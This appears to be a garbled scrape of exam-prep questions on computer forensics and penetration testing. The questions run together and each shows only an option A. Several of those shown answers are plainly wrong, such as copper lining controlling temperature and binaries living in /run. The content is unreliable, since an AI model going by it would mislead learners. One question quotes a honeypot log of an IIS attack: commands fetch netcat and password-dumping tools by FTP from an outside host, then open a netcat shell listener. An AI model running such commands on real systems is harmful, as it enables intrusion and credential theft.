You work as an IT security auditor hired by a law firm in Boston to test whether you can gain access to sensitive information about the company clients. You have rummaged through their trash and found very little information. You do not want to set off any alarms on their network, so you plan on performing passive footprinting against their Web servers. What tool should you use?
A. DigIn a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze?
A. one who has NTFS 4 or 5 partitionsYou are asked to build a forensic lab and your manager has specifically informed you to use copper for lining the walls, ceilings, and floor. What is the main purpose of lining the walls, ceilings, and floor with copper?
A. To control the room temperatureNetstat is a tool for collecting Information regarding network connections. It provides a simple view of TCP and UDP connections, and their state and network traffic statistics. Which of the following commands shows you the TCP and UDP network connections, listening ports, and the identifiers?
A. netstat -anoThe following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213. 116. 251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in
arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that
the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213. 116. 251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
What can you infer from the exploit given?
A. It is a local exploit where the attacker logs in using username johna2kAfter passively scanning the network of Department of Defense (DoD), you switch over to active scanning to identify live hosts on their network. DoD is a large organization and should respond to any number of scans. You start an ICMP ping sweep by sending an IP packet to the broadcast address. Only five hosts responds to your ICMP pings; definitely not the number of hosts you were expecting.
Why did this ping sweep only produce a few responses?
A. Only IBM AS/400 will reply to this scanAn intrusion detection system (IDS) gathers and analyzes information from within a computer or a network to identify any possible violations of security policy, including unauthorized access, as well as misuse. Which of the following intrusion detection systems audit events that occur on a specific host?
A. Network-based intrusion detectionWhen investigating a wireless attack, what information can be obtained from the DHCP logs?
A. The operating system of the attacker and victim computersWhat is the location of the binary files required for the functioning of the OS in a Linux system?
A. /runYou have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have
exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved.
What should you examine next in this case?
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